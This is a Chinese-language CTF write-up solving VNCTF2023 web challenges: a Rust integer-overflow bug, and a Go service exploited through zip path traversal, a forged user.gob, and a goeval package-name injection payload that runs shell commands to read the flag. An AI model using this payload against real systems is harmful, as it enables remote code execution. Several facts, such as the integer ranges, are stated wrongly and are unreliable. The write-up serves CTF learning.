前言

近期参加了VNCTF2023,里面有两道web题是考察rust和go语言的,由于这两门语言之前从未接触过,比赛结束后借着师傅的wp复现一波,在此写文章记录一下。网上一位师傅的wp:

https://www.cnblogs.com/nLesxw/p/VNCTF2023.html

根据此wp进行复现。

象棋王子

打开题目,前端象棋小游戏。

找js文件审计代码了解逻辑,在play.js中发现jsfuck编码,一看就是flag,直接放在游览器上运行出flag。

电子木鱼

给了附件,Rust语言做后端。Rust语言之前从来没接触过,比赛时边查文档边审。主要说一下几个路由,

#[derive(Deserialize)]
struct Info {
name: String,
quantity: i32,
}
#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {
name: &'static str,
cost: i32,
}
const PAYLOADS: &[Payload] = &[
Payload {
name: "Cost",
cost: 10,
},
Payload {
name: "Loan",
cost: -1_000,
},
Payload {
name: "CCCCCost",
cost: 500,
},
Payload {
name: "Donate",
cost: 1,
},
Payload {
name: "Sleep",
cost: 0,
},
];

不同的name对应所要扣除或者增加的功德。

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
let mut context = Context::new();
context.insert("gongde", &GONGDE.get());
if GONGDE.get() > 1_000_000_000 {
context.insert(
"flag",
&std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
);
}
match tera.render("index.html", &context) {
Ok(body) => Ok(HttpResponse::Ok().body(body)),
Err(err) => Err(error::ErrorInternalServerError(err)),
}
}

定义GONGDE.get()为对应佛祖的功德,如果功德大于十亿,它就会给你flag。

#[get("/reset")]
async fn reset() -> Json<APIResult> {
GONGDE.set(0);
web::Json(APIResult {
success: true,
message: "重开成功,继续挑战佛祖吧",
})
}

清空所有路由,重点代码如下:

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
if GONGDE.get() < 0 {
return web::Json(APIResult {
success: false,
message: "功德都搞成负数了,佛祖对你很失望",
});
}
if body.quantity <= 0 {
return web::Json(APIResult {
success: false,
message: "佛祖面前都敢作弊,真不怕遭报应啊",
});
}
if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
let mut cost = payload.cost;
if payload.name == "Donate" || payload.name == "Cost" {
cost *= body.quantity;
}
if GONGDE.get() < cost as i32 {
return web::Json(APIResult {
success: false,
message: "功德不足",
});
}
if cost != 0 {
GONGDE.set(GONGDE.get() - cost as i32);
}
}

在此路由下,功德不能为负数,并且我们post上传的quantity参数不能小于0。起初我想利用Loan对应的cost一点点往上加功德直至十亿。这就要发包十万次,我写的python脚本很快就429了。这就是出题人留下的一个坑,由于对rust语言不了解,到比赛结束也没找到方法。最后看了那位师傅写的wp,有这么一个介绍rust语言特性的链接:Rust语言圣经

其中提到了Rust语言的整形溢出:

很明显本题是用补码循环溢出来解决整形溢出的这个问题,举个例子,对于一个i8的类型变量(整数范围在0~127)如果我们将其值加1,并得到了结果128,那么该值就会被映射回-128,从而形成了一个循环。类似地,如果我们将其值减1,并得到了结果-129,那么该值就会被映射回127,从而形成了另一个循环。本题漏洞代码:

cost *= body.quantity;

这个累乘操作使得整形溢出成为可能。我们使name=Cost,则可以让quantity变量扩大十倍,造成整形溢出。Rust语言通过补码循环溢出可将该值映射到绝对值比十亿要大的负数了,这样也能成功绕过佛祖的作弊检测。那该让quantity赋值多少呢?不能太大也不能太小,i32的变量最大值为4294967295,在此赋值为25亿,发包后确实能够加功德。

刷新根路由,成功达到功德无量,佛祖给你flag。

BabyGo

这道题相关考点:

1.go语言代码审计

2.filepath.Clean函数目录穿越漏洞

3.go的函数沙箱逃逸

go语言做后端,题目源码:

package main
import (
"encoding/gob"
"fmt"
"github.com/PaulXu-cn/goeval"
"github.com/duke-git/lancet/cryptor"
"github.com/duke-git/lancet/fileutil"
"github.com/duke-git/lancet/random"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"net/http"
"os"
"path/filepath"
"strings"
)
type User struct { #定义一个User结构体
Name string
Path string
Power string
}
func main() {
r := gin.Default() #创建Gin框架实例
store := cookie.NewStore(random.RandBytes(16))#随机cookie
r.Use(sessions.Sessions("session", store))
r.LoadHTMLGlob("template/*")#加载模板
r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
session.Save()
fileutil.CreateDir(userDir)#创建目录
gobFile, _ := os.Create(userDir + "user.gob")#创建文件
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})

r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
})
r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {#不能为nil
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir)#创建目录
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}#不能上传gob和go
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)#如果存在删除
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})
r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)#获得文件后缀
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})
r.Run(":80")
}

相关路由介绍:

根路由,创建用户目录设置session,创建一个一个名为 “user.gob” 的文件,然后将一个名为 “ctfer” 的用户对象编码并写入 “user.gob” 文件中。gob文件可以理解为go的二进制文件,用于传输。

upload路由,限制我们上传的文件后缀不能为go或者gob。上传成功返回文件路径。

/unzip路由将我们上传的zip文件进行解压。

/backdoor路由,从session中获取shallow值,并且判断user.gob文件是否存在,存在就会解码其中的数据,判断用户权限,并执行Eval函数,这段代码的作用是提供一个后门,允许管理员在服务器上执行任意的Go代码。

审计完代码,我们想到的思路就是怎么样去覆盖user.gob文件进行权限提升来RCE。

目录穿越覆盖user.go文件

那么首先第一步,去覆盖user.go文件来提升权限。根据读代码,

r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
.....
gobFile, _ := os.Create(userDir + "user.gob")#创建文件
user := User{Name: "ctfer", Path: userDir, Power: "low"}
.....
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})

在根路由下,生成一个临时目录,在此目录下创建一个user.gob文件,将目录路径显示在当前页面。再看我们upload路由下上传的路径。

userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
.......
userUploadDir := session.Get("shallow").(string) + "uploads/"

所以说,我们上传的目录在user.go当前目录的子目录,所以需要目录穿越,在unzip路由代码中,filepath.Clean函数存在目录穿越漏洞。filepath.Clean函数将路径名进行规范化,具体功能为:

这个函数本身是没有任何问题的,若在此没有做任何限制,攻击者通过构造特殊的输入路径名,来访问系统上其没有权限访问的文件或目录,举个例子,filepath.Clean(“/var/www/“ + filePath),当filePath为”../etc/passwd”,拼接后的路径为/var/www/../etc/passwd。在路径名规范化时,路径就会整合成/var/etc/passwd。了解原理后,可以在上传路径添加几个../来导致穿越。接着,编写gob文件,我根本不会。直接去问AI了,当然,下面这个网站也介绍了,还是感觉没有AI方便。Go语言二进制文件的读写操作

package main
import (
"encoding/gob"
"fmt"
"os"
)
// 定义一个结构体
type User struct {
Name string
path string
Power string
}
func main() {
// 创建一个文件,用于保存 gob 数据
userdir:= "/tmp/4960cd5dcd3379599fa2d23ce376115b/"
file, err := os.Create("./user.gob")
if err != nil {
fmt.Println("Failed to create file:", err)
return
}
defer file.Close()
// 创建一个 gob 编码器
encoder := gob.NewEncoder(file)
// 创建一个 User 实例,并设置其属性
User := User{Name: "ctfer", Path: userdir, Power: "admin" }
// 使用编码器将 User 实例编码为 gob 数据并写入文件
if err := encoder.Encode(User); err != nil {
fmt.Println("Failed to encode person:", err)
return
}
fmt.Println("Person data has been written to person.gob")
}

话不多说,先上传试试。

打印出Good,成功覆盖掉user.gob文件。

函数逃逸RCE

只打印出Good是远远不够的。该怎么RCE才是我们最终的目的。题目代码中给了一种后门代码:

eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))

第一个参数,表示代码执行的环境变量,一般为空。第二个参数,需要被执行的代码。第三个参数为导入的包名。从代码上看,我们只能控制包名,通过沙箱逃逸来RCE,相关链接:go沙箱逃逸

漏洞利用可以看看这位师傅的文章:goeval代码注入导致远程代码执行

引用相关例子说明一下,如下代码:

Package := "fmt\"\n)\nfunc\tinit(){\nfmt.Print(\"我是init\")\n}\nvar\t(\na=\"1"
res, _ := eval.Eval("", "fmt.Print("123")", Package)
fmt.Println(string(res))

其中\t代替空格,注入init()函数,因为它比main函数先调用。而在函数内部是这样的:

package main
import (
"fmt"
)
func init(){
fmt.Print("我是init")
}
var (
a="1"
)
func main() {
fmt.Print(123)
}

代码执行最先会打印出我是init。就利用这个闭合原理来构造恶意代码。就借用开头那位师傅的payload。

os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt

此代码整合后大概是这样:

package main
import (
"fmt"
"os/exec"
)
func init() {
cmd := exec.Command("/bin/sh", "-c", "cat /f*")//执行shell命令
res, err := cmd.CombinedOutput()//将执行结果保存在res变量中
fmt.Println(err)
fmt.Println(string(res))
}
const (
Message = "fmt"//最后的"),双引号需要一个字符串类型进行闭合
)

将此代码传进去得到ASCLI

解码得到flag字符串。

结语

第一次参加VNCTF,web题目对于我来说挺新颖奇特。也借着这次比赛接触到了rust和go语言相关安全,最后一道web禅道cms的代码审计最新版,以往的禅道cms我还没有审计过,更别提最新版了。等有时间也要审计一下禅道系列。总之,这次比赛收获颇多。